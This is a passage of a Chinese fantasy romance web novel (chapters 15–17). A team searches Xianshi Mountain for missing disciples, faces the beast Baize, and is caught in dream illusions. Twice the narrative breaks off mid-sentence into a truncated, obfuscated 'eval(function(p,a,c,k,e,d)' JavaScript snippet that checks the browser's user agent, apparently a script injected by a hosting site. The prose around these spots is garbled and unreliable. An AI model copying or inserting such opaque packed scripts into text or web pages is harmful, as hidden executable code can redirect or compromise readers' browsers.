萧念摆摆手,看了一眼腕表:“不打紧的,今天是初一,我哥就这样,每个月都有几天闷在房间里发疯。” 颜清辞纠结再三,还是问了出来:“你哥他……大姨夫啊?” 萧念思考了一下,点点头:“你这么说吧也没错,好像是很疼。” “哗啦啦”,有一阵响动自楼梯上传来。 颜清辞有些担忧:“真不用去看看吗?” “哎……” 萧念叹了口气,起身往楼梯上走。 颜清辞跟在她后面也上了楼,一直上到三层,来到走廊尽头那间屋子。 门虚掩着,一束灯光顺着门缝打到地上,形成一条光带。 她们缓步往光的方向走,隐约听到门内传来沉重的呼吸声。 终于走到门口,透过门缝,只见萧衍坐在地上,背后一面书架上的书和摆件大部分掉落了下来,散了一地板。 他面色惨白、双目紧闭,捂着心口用力喘息,颜清辞仔细听了半晌,才听清他从喉咙里含混不清挤出来的话语究竟是什么—— 他低声呼唤着:“师姐……师姐……” 萧念再次深深叹气,听见她的声音,他微微抬头,捡起地上一本书,就朝门外扔过来。 “滚开!跟你说多少次了,别来烦我!” 萧念朝颜清辞一摊手,做了个鬼脸走开了。 感觉到房间里灵力剧烈波动,颜清辞还是有些放心不下。 她终究还是推门进去,蹲下身询问:“萧老板,你怎么了?……” 萧衍听到她的声音,竟一把将她搂进怀里,嘴里仍一声声念叨着“师姐”。 他的语气除了身体上的痛苦,还带着一丝悲伤。 颜清辞轻轻摩挲他的后背,试图安抚他的情绪。 “萧老板……我是颜清辞。” 她企图唤回他的理智。 萧衍缓缓睁开眼,松开对她的桎梏,他的眼中满是水汽,对她挤出一个微笑:“哟,颜作家,你怎么来了?” “总之……你妹妹约我出来吃饭。” 颜清辞看着他的样子,内心不禁生出一丝同情来,语气也比平时轻柔了许多,“你……没事吧?” 他突然用力蹙了蹙眉,捂着心口,喉咙里发出一声低吟,却很快又恢复平时那副玩世不恭的样子,笑道:“没事,就是习惯性地犯病而已,死不了。” 他那沙哑的嗓音出卖了他,颜清辞担忧地看着他问:“你有药吗?我去帮你拿?” “没有……不需要吃药,过了今晚就好了。” 他朝她挥挥手,“你快回家吧,很晚了。” 颜清辞蹲在原地没动,萧衍咧开嘴,露出一口白牙:“还是说,你想过来抱我一晚上,那倒是有点用的。” 她往后退了退,结巴着说:“你……你真的没事吗?那……那我先……走了。” 她站起身,犹豫了几秒后,落荒而逃。 她一路跑到花园里,停下脚步喘了几口气,才发现自己的慌张着实来得有些荒谬。 她抬头回望,朔月日的天空漆黑无光,那棵繁茂的柏树遮挡了三楼房间窗户里透出来的点点微亮。 再次听到萧衍的消息,已经是几天以后。 冷不丁发来几个耍贱的表情包,才开始说正事。 「萧:小姑娘的家人找到了,排查了往年登船的旅客名单,这个小女孩年龄符合,而且后续没有查到下落。」 接着,他发来了一串姓名、电话和地址。 「菇菇:谢谢。」 过了一会儿,她又发—— 「菇菇:萧老板你身体好了吗?」 「萧:特别好,想体验的话,给我打电话。」 然后是一个嘴里衔着一支花的小狗表情包。 颜清辞飞快关掉了屏幕,后悔自己问了刚才那个问题。 圆圆的父母年岁已经不小,两鬓生出了丝丝白发。他们得知颜清辞的来意,表情有些防备,甚至都不准备请她进去坐。 “我们的女儿……她死了十几年了。” 圆圆的妈妈说。 “怎么死的?在游轮上?” 听颜清辞提到游轮两个字,夫妻俩明显慌了,圆圆的爸爸厉声问道:“你到底是谁?找我们想干嘛?” “圆圆是怎么死的?” 颜清辞死死盯着他们,又问了一遍。 夫妻俩想把门关上,颜清辞一抬手,那门像是卡住了似的,纹丝不动。 他们用力推门无果,男人脸上露出惊恐的神色:“你……你和那孩子一样……是……怪物?” 15.仙室迷踪(一) 颜清辞倒吸一口气:“这就是你们抛弃亲生孩子的原因?就因为她有特殊的能力?” 夫妻俩冷冷道:“我们不认识你,我们家的事也和你没关系,你快走吧。” 从圆圆家出来,颜清辞心情沮丧到了极点。她浑浑噩噩地拨通一个电话。 “颜作家找我啊。” 萧衍充满生命力的声音从听筒那头传来。 颜清辞愣了一下才说:“嗯……那个……我找过圆圆父母了。” “怎么样?” “我怀疑,就是因为他们,圆圆才永远长不大了。” 她最终还是选择了一个委婉的方式说出了残酷的猜想。 “不奇怪,我早就猜到了。” 他顿了一下,又像是故意安慰她似地说道,“不过你也别想太多了,虎毒不食子,她一个小孩子,在船上出点意外也不是没可能的。” 颜清辞轻轻叹了口气,问:“你们玄境山对小弟子照顾得周到不周到?” “废话,昨天林朔就带她出发了,你把心放肚子里吧。” “谢谢你,萧老板。” 电话那头的萧衍笑开了,说:“萧念也跟他一起去我爸妈那儿了,今天家里没有人…… 颜作家,你真心想谢我的话,要不要过来?” “不要,先挂了,萧老板。” 颜清辞挂了电话,感觉心情好了一些。 半个多月后,四人组又接到了新的订单。这次是萧衍父母给他介绍的渠道单子,目的地是——仙室山。 他本意是不想接这一单的,毕竟这个地名他看了就浑身难受。 奈何林朔在玄境山得到这个消息,直接发到了“一个小目标”群里,颜清辞和罗晟都已经一致说好,他还能说什么。 出发那一天,他整个人闷闷不乐的,走在他旁边感觉气压都低了。 他一安静,剩下的三个人则更成了哑巴。飞机上,他们一人捧一本书,气氛冷到诡异。 飞了将近一个小时,颜清辞终于忍不住开口了。 “萧老板,今天那么安静?” 萧衍叹了口气,说:“哎,不想去那个鬼地方。” “为什么?我听说仙室山很美啊。而且莫君离还说,要带我们去体验地道的‘过早’呢。” “莫君离?你们已经发展到直呼名讳的关系了?” 萧衍的脸色更难看了。 颜清辞丝毫没有领会他的心思,点点头说:“是啊,小莫特别热心肠。” 萧衍觉得胸口发闷,却又不好发作,只能拧着眉头轻轻“哼”了一声。 颜清辞看了一眼坐在过道位的林朔和罗晟,都聚精会神看着书呢。 说来也巧,每次坐飞机,她和萧衍的位置总是挨着。 她压低了声音,又问萧衍道:”萧老板,你喜欢的那个人,是不是你的师姐啊。” 萧衍挑了挑眉毛,没回答。 “我那天……听见你喊你师姐了。” “哟,没想到颜作家也这么八卦啊。” 萧衍的眼神现出一丝凌厉来,“不过,颜作家你之前说的没错,咱们也确实还没熟到这个份儿上,这种事,我一般不与外人说的。” 颜清辞愣了一下,慌忙中连手里拿着的书都掉了:“那个……对不起,我不是故意提起你的伤心事……抱歉……” 萧衍的眉眼很快松弛了下来,他笑着弯腰捡起地上的书,递还到她手里说: “呀,把颜作家吓坏了,我开玩笑的,没什么不能说的,谁还没有个初恋呢,对不对?” 颜清辞抿抿嘴唇,心想:我就没有。 她原本对感情的事没有太多的想法。青春期几乎在医院度过,病好了以后为了赚几分功德忙碌奔波,根本没什么机会接触适龄男青年。 然而,纵使她再木讷,萧衍那么明目张胆地撩拨,是个人也不会毫无知觉。 一开始她认定了此人不过是个流连花丛的玩家,丝毫不当回事。 如今却发现他不是那样的人,甚至还疑似是个痴情种,反倒觉得不自在了。 人家对初恋可是念念不忘呢——颜清辞在心里对自己说。 她飞快转移了话题:“御风门弟子失踪,为什么会找你们玄境门帮忙?” “御风门现在这个虞掌门是个怕事的,他门里弟子失踪,查了半天查不出来。 为了防止外边说他不作为,干脆找个第三方来,一方面体现自己重视此事,一方面也想证明此事确实棘手。” “为什么不找治安部去查?” “切,治安部在仙魔两界那么多高手眼里,就是个摆设,而且,最重要的是……” 他看着颜清辞的眼睛,认真地说:“虞掌门之所以找我爸帮忙,当然是因为玄境门有江湖地位,但更主要的,是因为他和我爸有交情。 所以,就算咱们这次很轻易就解决了事情,对外也要说案子办得困难,懂了么?” “哦……” 颜清辞点点头,“原来有这么多人情世故。” 仙室山果真风景秀美,宛如仙境一般。 四人登至御风观正门,莫君离已在门口等候。他带四人组穿过香火鼎盛的凡间工作区,一路拾级而上,来到人烟稀少的的仙门境地。 刚才路过见到的凡间弟子个个身穿道袍,但这边的仙门子弟却都和莫君离一样,着深蓝白配色的便服,款式各不相同。 他们直接被带到了掌门虞子阳那里,他正在一块大石上打坐,外貌不过四五十岁的样子,神情自若,衣袂飘飘。 “师父,玄境山的客人来了。” 莫君离唤道。 虞子阳缓缓睁开眼,见他们四人,笑呵呵开了口:“几位远道而来,辛苦啦。” 他仔细打量了一遍萧衍,说:“这位是萧大公子吧,长得随你娘,你小时候我还抱过呢,一晃眼都这么大小伙子了。” 萧衍显然有些尴尬:“也不能说一晃眼,毕竟五百多年了。” 虞掌门爽朗一笑道:“不过现在不该再叫萧大公子了,得叫萧会长才是。” 萧衍摆摆手:“虞掌门这话就太见外了,无论我是什么身份,都还是玄境门的人。” 颜清辞肘了肘林朔,小声问:“什么会长啊?” 林朔微微一笑:“一会儿告诉你。” 虞子阳打了个哈欠,懒懒道:“君离,你先带几位客人去休息吧,工作的事,咱们晚饭的时候再详谈。” 萧衍连忙说:“虞掌门,现在时间还早,不知道方不方便让我们走访一下那些失踪弟子身边亲近的人,我们也好了解一下他们失踪前的行踪。” 虞子阳打了个哈欠,悠悠道:“年轻人就是有干劲,没问题,你们尽管调查,有任何需求跟君离提就是了,我得再打坐一会儿。” 从虞子阳的禅房出来,颜清辞赶忙缠着林朔解惑,他和萧衍对了一个眼神,问:“你知道魔域理事会吗?” “啊?” 颜清辞一时间没反应过来,但当她品过味儿来时,不由惊叫出声。 “Ber……你是说,萧老板他是……魔域理事会的会长?他是——魔—尊?!” 萧衍直皱眉:“什么魔尊,那都是老辈子人的叫法了,溱饶那老儿才是魔尊,我不过帮他处理一些琐事罢了。” 千年之前,仙魔大战,溱饶统一魔域各部族,与仙界达成和平之约,登位魔尊。 如今时移势易,和仙界理事会一样,魔域也成立了自己的官方组织。 而前不久,确实听闻这位魔尊溱饶退休的消息…… 只是颜清辞怎么也想不到,眼前这只不着四六的花孔雀,竟然就是那位大佬的接班人。 相比于这条消息,颜清辞很快意识到一件更令她惊心动魄的事,她用力一拍萧衍的胳膊:“萧老板,你都是这样的身份了,怎么还要出来接单赚功德啊!” 一瞬间,她在林朔和罗晟脸上都看见了一丝隐秘的笑意。 萧衍战术性咳嗽,故作镇定道:“我不过是做了一笔失败的投资……欠了点功德债罢了。” 林朔笑道:“哥,你这话说得太谦虚了,十几亿功德,可不是一点债。” 颜清辞叹为观止,这人有钱就是任性,而有钱的魔已经开始用功德撬杠杆了。 萧衍面子上挂不住,看向莫君离,急着转移话题:“话说,你师父到底是打坐还是打瞌睡呢?” 莫君离看了他一眼,自然是没好脸色:“自然是在修行。” 萧衍不屑地撇了撇嘴,又问:“现在有几个人失踪了?” 莫君离答:“到一周前为止,已经有5位师兄弟姐妹失踪了。” 林朔问:“你们自己内部也调查了一段时间吧,有什么发现吗?” 莫君离叹了口气,答:“不瞒你们说,约 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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也许是被“神兽”二字触动了神经,方才一直在颜清辞背包里酣睡的招财这时窜到了她的肩上,睁着一双小圆眼仔细聆听起来。 莫君离点点头:“最有名的一头,名叫白泽,传闻是虎首龙身的凶兽。” “白泽?就是传说中那个白泽么?” 颜清辞问。 “是。” “你们后山有这些玩意儿,居然就一点没怀疑过?” 萧衍难以置信。 “后山有强大的结界,一般人根本进不去。” 莫君离这句话很快在当晚遭到了他亲亲师父的无情打脸。 当晚宴席,酒过三巡,众人聊及此事,虞子阳双颊红润,有些局促地说: “这个嘛……跟各位透露一个秘密,咱们后山有结界不假,但那结界,老掌门在的那会儿,不知怎么的破了个口子,咱们谁也不会修,就只能拿幻术先糊弄一下子了……” 莫君离脸上有些挂不住,慌忙说:“老掌门那会儿都已经是几百年前的事了吧……师父,这么大事你怎么从来没说过呢!” 虞子阳慢条斯理地说:“是啊,几百年了,不也从来没出过事么,那个裂口位置挺隐蔽的,一般情况下不会误闯的。” “这不就出事了。” 萧衍小声嘀咕。 虞子阳微微一笑道:“不会吧,也许那些孩子只是不小心迷路去了什么别的地方呢。” 四人组面面相觑,虽说心中不以为然,但对方毕竟是前辈,作为客人更不能驳了主人的面子,谁也没说出心里真实的想法。 林朔问:“虞掌门,那个裂口的位置,你知道在哪里吗?” “当年,老掌门忽然离世,我和几名长老一起用幻术修改了裂口附近的格局,现在要我说具体的位置,我也找不到了。” “是在先贤堂附近么?” 颜清辞问。 “不算附近吧……有一段距离。” 虞子阳努力想了想说。 接风宴结束,四人组完全没有要回去休息的意思。 萧衍提议:“不如现在就去那个先贤堂看看吧,不管他们是不是进了禁地,总和那个地方脱不了干系。” 莫君离连连说好,这会儿他比谁都想查清楚这件事。 16.仙室迷踪(二) 先贤堂果真地处偏远,隐在一片桃林深处。 乌黑的飞檐盛起皎洁的月光,让整座建筑蒙上一层灵性的氛围。 他们进到堂内,功德点燃的烛光熠熠闪动。 莫君离在大殿正中央站定,朝仙师们的灵位拜了三拜,四人组见状也纷纷颔首轻拜,以示尊敬。 堂内堂外转了一圈,自是没见一个人影。 他们穿过大殿回到桃花林中,却见雾气升腾,遮挡了视线。沿着来时的小径往回走,雾气愈发浓郁,恍如置身梦境。 “这不是普通的雾,内里灵力充盈。” 林朔说。 他们试图穿过灵雾,却发现始终处于雾气包围之中。 “这雾仿佛会动,它好像在引着我们走。” 颜清辞说。 萧衍脸上闪现出一丝兴奋之情:“那就跟着它走!正愁不认识路呢。” 在雾中又行进了一段时间,周遭的景物轮廓逐渐清晰,他们发现面前是一片开阔的山谷,一条溪流在不远处缓缓流淌,水声潺潺。 莫君离望着远处若隐若现的山峰,感叹道:“我从来没见过这个地方,我们应该已经在结界里面了!” “呵呵……一般情况下不会误闯的。” 萧衍阴阳怪气地学起虞掌门说话来。 莫君离瞪了他一眼,脸上写满不服。 颜清辞这时轻轻捻动手指,若有所思地默念了几句咒文,然后朝着溪流上游的方向一指,说: “朝那个方向走,是上上吉。” 莫君离笑道:“颜小姐用的这是我们御风门的卦术?” “是啊,小莫仙君你上次给我寄的那几本书我都看完了,受益匪浅。” 萧衍的脸都要垮到地上去了,撅着嘴说:“你们才见了几面,就开始暗通款曲,互相借书看了?” 颜清辞白了他一眼说:“不知道‘暗通款曲’是什么意思就去查新华字典。” 莫君离微微一笑,那笑容看在萧衍眼里,简直是幸灾乐祸、小人得志! 他也掐指一算,说:“嗯,颜小姐果真是一点就通,确实应该往溪流那边走。” 一行人当即决定沿着溪边溯流而上,穿过一片树林,再次进入一片开阔地带。 河道逐渐变宽,一直延伸到一个巨大的山洞口。 招财一直跑在最前面,它突然身子一僵,尖叫着跑了回来,一溜烟钻进颜清辞怀里。 其他人也是一愣,赶忙停下脚步,小心瞧着前方的地面。 萧衍大踏步朝前走,回过头,皱着眉头对招财说:“不过一堆骨头而已,你大惊小怪个什么劲儿?” 众人上前,河岸边散落着森森白骨,有的上面还沾着零星的血肉。 林朔缘着岸走了一圈,蹲下身细细查看了每一处遗骸,道: “好消息是,全部都是兽骨,没有人的骨头,坏消息么……那个白泽很可能就在附近了。” 萧衍一指山洞口,说:“四周都是死路,只有往洞里走了。” 大家对洞里潜在的危险都心知肚明,但事到如今,也只有硬着头皮闯一闯。 萧衍走在最前面进了山洞,里头漆黑一片,他在指尖点亮照明咒缓缓行进。 洞中的路逐渐收窄,最后变成只够一个人通行的通道。 走了好一阵后,眼前又骤然开阔,像是进入了一间石室之中。 “等等……” 萧衍突然停下脚步,对后面人做了个“嘘”的手势。 只听洞穴上方传来一种怪异的“莎莎“声。 萧衍一弹指,整个洞穴被光照亮。莫君离重重吸了一口气,指向洞穴顶端。 只见岩壁上密密麻麻到挂着无数只黑色的蝙蝠。 它们受到声音声音的刺激,漆皮质感的身体颤动起来,整个洞穴都仿佛微微震动了几下。 颜清辞只觉得头皮发麻,下一秒,便听见萧衍大喝一声:“小心!” 洞顶的蝙蝠一个个张开翅膀,朝他们俯冲下来。 颜清辞和林朔同一时间开了护身咒,他们的站位刚好一前一后,护住所有人。 萧衍在指尖点燃一团火,朝一群蝙蝠扔过去,那些黑色的小兽瞬间化为灰烬。 他继续抛出火球,湮灭近身的蝙蝠。 罗晟则转动无妄,打开落到护身咒屏障上的蝙蝠。 莫君离隔空画弧,原本还在往他们身上猛扑的蝙蝠忽然四散飞逃起来。 “超声波?” 萧衍望着退回岩壁的飞兽问。 “萧老板有点常识啊。” 颜清辞有些惊讶地说。 萧衍翻了个白眼,说:“初中物理而已……颜作家,别看我这样,我也是有大学文凭的人。” 林朔关了护身咒,笑着说:“我家这位少爷还不止一个大学文凭呢。” 他话音未落,有一小群蝙蝠再次改变了回退的方向,朝他们飞扑过来。 “小心!” 萧衍伸手将颜清辞揽到身后,另一只手中已经飞出一团火焰。 “这些蝙蝠灵力极高,不怕超声波。” 莫君离道。 林朔慌忙去开护身咒,却发出一声惨叫,他捂着手臂蹲到了地上。 莫君离打开屏障将众人护在里面,萧衍和罗晟一顿猛攻,将那些蝙蝠悉数击落。 接着,罗晟一把拉起地上的林朔,五人朝着洞穴深一阵飞跑。 跑出一段距离后,见那些蝙蝠没再追过来,他们停下了脚步,纷纷去看林朔的情况。 他的额头沁满汗珠,脸上毫无血色。 “这么疼么?” 萧衍问。 林朔强撑着撩起袖子,只见他手臂上一个骇人的伤口,那蝙蝠的齿痕周围的皮肉呈现出一圈黑紫。 在那伤口上方几寸,有一圈纹身,原来林朔的灵纹长在这里,颜清辞还是第一次见。 “这是血蝙蝠,咬人疼痛难忍。” 莫君离说,“不过应该没有生命危险,只能等伤口愈合了。” “你还行么?” 萧衍又问林朔。 “没事……” 他虚弱地答道。 罗晟替林朔撕下一截袖子,给他做了简单的包扎,五人组便再次上了路。 又在漆黑的通道里前行了十几分钟,面前豁然开朗,他们进入了一个巨大的地下洞穴,洞穴中间是一片地下湖。 “你们看!” 颜清辞朝着湖上一指,只见湖心一块大石之上,躺着几个人。 萧衍一挥手,岩壁上的烛火被点燃,整个洞穴亮了起来。 他们轻点脚下跃上湖心的大石,见那齐刷刷躺着的五人,其中四人都穿着御风门的蓝白服饰,还有一人作古装打扮,发髻高高束起,是个道士。 “谭云,李梓熙,池敏佳,这个是……曲铭。” 莫君离根据记忆逐一对号入座,“还有一个江渔眠不在这里,这个人又是谁?” 萧衍俯身探了探几人的鼻息,说:“他们这是昏迷了?谁把他们码在这里的?” 就在这时,从洞穴角落传来一声野兽的低吼。阴影中,一头通体白毛的巨兽逡巡现身。 那野兽长着老虎的面孔,头顶却又生着角,还有龙爪和龙尾,身体缀满蜿蜒的条纹。 “白泽!” 随着莫君离的这声惊呼,那神兽白泽已然朝他们扑了过来。 罗晟挥着无妄迎了上去,白泽腾空跃起,如钩的利爪拍了下来。 “当啷”一声,利爪与棍身相接,罗晟被震得向后退了两步。 白泽伸爪朝着罗晟的面门挠下去,萧衍一挥手,湖中飞起的水花瞬间凝结成冰,冻住它的四肢。 白泽奋力挣扎,罗晟挥动无妄再次打去,白泽咆哮一声,猛一甩头,用龙角挡开攻击。 它挣开被冻住的四肢,一张嘴,一股绿色的气息喷薄而出。 颜清辞不慎吸了一口,那气味刺鼻异常,瞬间觉得头晕目眩,脚下差点没站稳。 莫君离正要伸手来扶,萧衍却将她整个人捞了过去。 前者也顾不上犹豫,双手划破空气,一阵大风起,吹散了毒烟。 萧衍一手拖着颜清辞的腰——她此时几乎整个人靠在他身上——另一只手抛出灵力索,正套住那白泽的犄角。 白泽被萧衍牵制了行动,罗晟高高举起无妄,正要一棍抡下去,却被莫君离喝止住。 “等等!这些人身上有白泽的灵力气息,它在给他们输功德续命。” 罗晟收回无妄,就那样和神兽对峙着。 莫君离伸出食指,白泽脚下瞬间现出一圈符咒,随后他对这头神兽说: “我们无意与你相斗,只是想救这几位师兄弟姐妹回去。” 白泽显然听懂了他的话,从喉咙里挤出几声低吼。 “它说什么?” 萧衍问。 莫君离答:“它说,这些人中了迷心阵,带回去了也救不醒的。” “迷心阵?这是什么东西?” 莫君离耸耸肩:“我也不知道。” 这时,萧衍怀中的颜清辞清醒过来,发现自己主动靠在人家胸前,她倍感尴尬,连忙直起身,站远了一步。 白泽用力甩了甩头,朝着萧衍低吼一声。他收回灵力索,对莫君离说: “那你问 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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山坡上,瀑布倾泻而下,水面清澈见底。 走到近处,才发现水中站着一个人,古装扮相,长发用玉簪高高梳起。 这男子光裸上身,背上的肌肉线条分明可见。 此人沐浴完毕,从水中站起。颜清辞其实一直不太明白古人在野外沐浴却又只脱上衣是何操作。 转念一想,所谓迷心阵,这八成是自己的梦境,如此不合理便也解释得通了。 自己做梦见到的居然是没穿上衣的男人!意识到这一点的颜清辞被自己吓了一跳。 然而,接下去见到的画面才是真正要令她当场晕厥—— 那男子走上岸边,捡起石头上放着的上衣披到身上。他转身回头,抬眼与颜清辞对视。 这一秒,颜清辞感觉自己要窒息了——男人半敞着衣服,八块腹肌清晰可辨,锁骨下端,印着几道纹身——这个人,长着萧衍的脸。 “小辞,你偷看我。” 他开口了,声音也和那个人一模一样。 “萧老板……” 颜清辞下意识唤了他一声。 他走了过来,捏起她的下巴,笑着说:“我是阿衍啊。” 颜清辞忽然觉得身体动弹不得,明知道这是迷阵中的环境,却仿佛被什么东西蛊惑了一般,意识也开始模糊起来。 莫君离进入迷心阵中,雾气散去后,发现自己换了一身正装打扮。他环顾四周,似乎置身于一个宴会厅之中。耳边响起悠扬的音乐,时不时还能听见碰杯的清脆响声。 同样盛装打扮的几名男女迈着优雅的步子走来,经过他身边时,纷纷微笑颔首,嘴里说:“感谢您对三界的贡献。” 他站在原地,试图理解此刻的情境。 这时,一名气质高贵的女人走了过来,带着慈爱的笑容,拍了拍他的肩膀说:“准备好一会儿的发言了吗?” 莫君离迟疑地说:“妈?什么发言?” 女人的语气有些嗔怪,却仍不失和蔼地说:“瞧你这孩子,是不是要领杰出贡献勋章,一紧张什么都忘了?” 杰出贡献勋章是三界的最高荣誉,莫君离立刻明白过来,这是在做梦呢。 “下面,让我们有请莫君离议员上台发表获奖感言!” 聚光灯打在他身上,场内掌声雷动。 一股神秘的力量吸引着他向大厅正前方的舞台走去…… 萧衍进入迷阵,身上已经换了明朝装扮。眼前的屋舍再熟悉不过——这是玄境山的藏书阁。 他信步走进阁内,亦是百年之前的格局——六边形的殿宇内,整整七层,每一面墙都堆满古籍。 如今这栋建筑已然成了文物,在它边上建起了现代化的“图书数字中心”,供弟子们日常学习工作。 “阿衍。” 他抬起头,一个和颜清辞长着一副面孔的女孩从三楼往下望过来。 17.仙室迷踪(三) 她穿着明制汉服,锦衣罗裙。 他心中一动,颤声回了一句:“师姐?” 女孩笑着说:“阿衍,你去哪里了,我好久都没见到你了。” “我……”萧衍不知如何回答,身体却不自觉迈步往楼上走去。 他上到三楼,女孩倚着栏杆靠坐着,手里捧着一本书。 “阿衍,你过来。” 她朝他轻轻招手。 萧衍在她身边坐下,她伸手摸了摸他的脸颊,她的手温凉凉的,指尖的触感令他心头一颤。 “阿衍瘦了呢。” 她的语气有些心疼。 萧衍的眼眶微微泛红,他将她紧紧圈进怀里,哽咽着说:“我以为你不记得我了呢……” 她回抱住他,呼吸在他的脖颈处引起一阵酥痒。 “怎么会呢,我也很想你,阿衍。” 萧衍心中翻滚起一股冲动,他捧过她的脸,吻了下去。他撬开她的唇齿,深深吻着面前的人。 混乱的呼吸间,他一遍遍唤她的名字。 “师姐……小辞……” 两人缠绵许久,女孩轻轻推开他,她的眼中雾气迷蒙,唇色由于亲吻的缘故变得愈发红润。 萧衍的喉结轻轻滚动,听见她说:“阿衍,你想不想吃糯米糕?我去给你做。” 听到这话,他愣了一秒。恍如大梦初醒,他猛地起身,从怀里拔出匕首,厉声道:“你到底是谁?” 地面摇撼,四周的景物开始崩塌。面前穿着罗裙的古装颜清辞也消失不见了。 只听背后传来一声狞笑,萧衍猛一回头,看见一个面色阴沉、半人半鬼的老妪朝他伸出利爪,直扑过来。 萧衍匕首一挥,砍下她一条手臂来。 幻象逐渐褪去,他发现自己正坐在阵中心。颜清辞和莫君离在他一左一右,双眼紧闭,仍在梦中。 地上有一条树枝——那正是他砍下的“手臂”的原貌。他一抬头,见一棵槐树上现出一张人脸,与梦境中的妖邪一摸一样。 “被你识破了。” 那树灵的声音带着深沉的回响。 萧衍冷笑一声,说:“我师姐炒个鸡蛋,所有人都要担心厨房会炸了,还糯米糕……” 他用力摇了摇身边的两人,将他们叫醒。 他看了一眼颜清辞,问:“你的脸怎么红成这样?你该不会是……梦见自己写的那些东西了吧?” 她窘迫地捂住自己的脸颊,结结巴巴地说:“关……关你什么事!先想办法破阵吧。” “是这些树灵结的阵。” 萧衍说。 “它们通过制造幻境,让人梦见心中所渴望的画面来获取功德。” 莫君离说。 萧衍点点头,说:“好像还真是这样。” 他忽然转头看向颜清辞,问:“颜作家在梦里看见什么了?” 颜清辞的脸又红了起来,慌忙搪塞道:“这不重要,都什么时候了还聊闲。” 她指了指地面,说:“这阵破不了,那些人就醒不过来了。” 莫君离双手画弧,怀中飞出几把闪着灵力光芒的回旋镖来,朝围绕迷阵的那几棵树飞去。 那些树的枝叶骤然摇动,他们眼前强光一闪,三人再次被强行拉入幻境之中。 回旋镖划破空气飞了回来,在亮光制造的眩晕下,莫君离还是精准地将那些镖收回了手里。 强光褪去,他的面前出现了一个小男孩——那是儿时的他自己。 他的脸上脏兮兮的,不停抹着眼泪。 这时,小男孩的身后出现了一群孩子,他们对着他的背影,咯咯笑着议论起来。 “你们知道吗,他连最简单的法术都学不会,整天只会哭哭啼啼,弱爆了。” “他爸爸妈妈都是理事会的呢,他这样,还不如当个凡人,真是丢人。” “书呆子,整天读那些书也不见他法术有什么长进。” “打一顿就好了,装给谁看呀,好像我们都不学习似的。” …… 场景飞快切换,眼前的小男孩变成了十几岁少年的模样。 他被几个高年级男孩打翻在地,嘴角淌着血。 带头的那个男孩蹲下身,一把揪住他的衣领说:“怎么,又想去找老师告状吗?还是叫你妈妈来给你撑腰啊?” 另外一个男孩嘲讽地笑着说:“老大,你不怕他真的去告家长吗,到时候把你爸叫来,你可又得挨顿打。” 带头的男孩冷笑一声,连连拍了他的脸几下,说:“你告去呗,反正你这辈子也只能靠着家里的关系混。 我承认你是比我们会投胎一点,但到最后,还不是要被我踩在脚下。” …… 莫君离看着眼前的场景,不堪的回忆涌上心头。 他天资平庸,却又从小被送进顶级的仙界学校,在这样充斥着卧龙凤雏的环境里,他度过了压抑的童年和少年时期。 场景再次切换,十七八岁的他从学校逃出来,遇到了打劫的游魔。 一个魔用锁链紧紧勒住他的脖子,另一个夺走了他的背包,翻出了他钱包里的功德银行卡。 “这小子灵力不低,取了他的灵核够我们歇上一段时间了。” 勒着他的那个魔将他整个人死死摁到地上,对翻包的那个说。 “先带他取了卡里的余额,再送他归西。” 翻包的那个说。 就在这时,一道紫色的光从他眼前闪过,“咔嚓”一声,铁链瞬间裂成两半。 他听见抓着他的那个魔一声惨叫,下一秒已经倒在了他边上,没了动静。 是魏茯苓,这是他们相遇的那一天。 萧衍进入的幻境,同样是他熟悉却又不想记起的场景。 这是云中山深处的凤凰花林,目之所及皆是火红的花海。 一阵巨响,古装扮相的颜清辞再次出现在画面里。她从一处山洞中跃出,手上抛出的一股灵力震碎洞口的巨石。 从巨石灰烬之中飞出一头长相怪异的巨兽,它身上遍布黑白的斑纹,长长的鼻子下,血盆大口中伸出两根尖利的獠牙。 它朝颜清辞扑过去,萧衍策动灵力,对那异兽掷出一团闪电。 然而他和他们之间隔着一张看不见的壁,闪电打在透明的壁上,瞬间消失殆尽。 颜清辞想要再次发动攻击,但她似乎已然耗尽了灵力。 身着古装的颜清辞从怀里拿出匕首朝那兽刺去,一刀扎进猛兽的胸口,那兽嘶吼一声,猛一甩头,颜清辞重重摔到地上。 “师姐!” 虽然知道是梦,萧衍仍忍不住大叫出声。 那头异兽挣扎几下,将插在胸前的匕首甩了出去,它愤怒地朝颜清辞飞扑上去,獠牙贯穿了她的身体。 这个画面曾经无数次出现在萧衍的梦魇里,每一次,他的心都像被撕碎了一般疼痛。 他疯跑过去,此时那无形的壁却消失了,巨兽也没了踪影,只剩颜清辞躺在一片凤凰花丛中。 她身体流出的鲜血和凤凰花融为一体,鲜亮的红刺痛他的双眼。 他小心翼翼地将她抱进怀里,她伸手抚摸他的脸,露出一抹温柔到极致的笑。 “阿衍……” 她的声音很轻,每个音都在打颤,“你……不要……哭……” 她的手垂了下去,表情安详得像睡着了一般。 而颜清辞这边,一股浓重的血腥味钻入她的鼻腔,当她的视觉恢复之时,发现自己身处一处溶洞之中,尖锐的钟乳石柱从洞顶密密垂下。 嶙峋的怪石之下,是一片鲜红的血池,她闻到的气味便来自此处。 定睛一看,血池之中密密麻麻躺着人,男男女女,形如死尸。她走近看,却见这些人胸膛有微弱的起伏。 她试图去唤醒离她最近的一名年轻女孩,却发现她的眼中、口中也开始冒出血来。 在那鲜血之中,无数黑壳小虫同时爬出,再看周围,所有人的七窍之中都钻出虫子来。 颜清辞回过头不住干呕起来,她平生最怕的就是虫子。 她腿都软了,坐在地上连连往后退。 角落里传来一声野兽的低吼,她回过头,看见一头身披黑白斑纹的长鼻异兽正瞧着自己。 这东西的样貌很像她在书中读到过的一种叫“梦貘”的生物。 梦貘在地上磨了磨爪子,颜清辞见状,连忙强撑着身子站了起来,拔腿就往洞穴外面跑。 一声咆哮从脑后传来,颜清辞回过头,对腾跃而上的神兽一伸手,却发现体内的灵力所剩无几。 她猛然意 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她看了一眼萧衍的脸——此刻充满了令人动容的破碎感——突然发现这件事好像也没那么难。 她凑近他,双唇贴上了他的。 这时他终于有了反应,他睁开眼,一开始有些惊愕,却当即决定从善如流。 